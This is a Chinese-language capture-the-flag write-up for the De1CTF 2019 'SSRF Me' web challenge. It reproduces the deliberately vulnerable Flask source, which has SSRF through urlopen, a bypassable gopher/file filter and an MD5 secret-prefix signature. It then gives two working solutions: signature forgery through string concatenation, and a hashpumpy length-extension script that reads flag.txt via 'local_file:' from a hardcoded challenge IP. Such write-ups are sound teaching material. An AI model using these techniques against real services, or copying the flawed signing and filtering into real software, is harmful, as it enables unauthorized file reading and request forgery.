De1CTF 2019 web

• [De1CTF 2019]SSRF Me

[De1CTF 2019]SSRF Me

#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)

secert_key = os.urandom(16)


class Task:
    def __init__(self, action, param, sign, ip):
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        if(not os.path.exists(self.sandbox)):          #SandBox For Remote_Addr
            os.mkdir(self.sandbox)

    def Exec(self):
        result = {}
        result['code'] = 500
        if (self.checkSign()):
            if "scan" in self.action:
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param)
                if (resp == "Connection Timeout"):
                    result['data'] = resp
                else:
                    print resp
                    tmpfile.write(resp)
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action:
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()
            if result['code'] == 500:
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result

    def checkSign(self):
        if (getSign(self.action, self.param) == self.sign):
            return True
        else:
            return False


#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)


@app.route('/De1ta',methods=['GET','POST'])
def challenge():
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    if(waf(param)):
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())
@app.route('/')
def index():
    return open("code.txt","r").read()


def scan(param):
    socket.setdefaulttimeout(1)
    try:
        return urllib.urlopen(param).read()[:50]
    except:
        return "Connection Timeout"



def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()


def md5(content):
    return hashlib.md5(content).hexdigest()


def waf(param):
    check=param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False


if __name__ == '__main__':
    app.debug = False
    app.run(host='0.0.0.0')

三个路由

• /geneSign 将secert_key + param + action进行md5加密
• /De1ta 挑战页
• / 获取源码

1. 先说第一个字符拼接
   思路：
   提示flag为./flag.txt，再Task类中每个子if均没有break，也就是说可以经过Task类可以将flag写道沙盒里面，再读出来
   在挑战页有三个参数可控，要想读flag，需要action=readscan, param=flag, sign=getSign(action, param)

   解题：

   1. 先访问/geneSign页，其内部action = "scan"，md5加密时为字符串拼接，如果传参parma=flag.txtread，那么在加密时字符串为hashlib.md5(secert_keyflag.txtreadscan)，那这么md5就符合思路的sign=getSign(action, param)，可以进行先写flag在读取\
   2. 然后在访问/De1ta，传参?param=flag.txt，在cookie中写入action=scanread;sign=ed3d434b5918a762ef9a783f27b0111b即可获取flag

2. 哈希拓展攻击
   原理在这

   #!/usr/bin/python
   # -*- coding:utf-8 -*-
   # @author:一叶飘零
   
   import hashpumpy
   import requests
   import urllib
   
   url = 'local_file:flag.txt'
   r = requests.get('http://139.180.128.86/geneSign?param='+url)
   old_sign = r.content
   new_sign = hashpumpy.hashpump(old_sign, url + 'scan', 'read', 16)
   cookies={
   'sign': new_sign[0],
   'action': urllib.quote(new_sign[1][19:])
   }
   r = requests.get('http://139.180.128.86/De1ta?param='+url, cookies=cookies)
   print(r.content)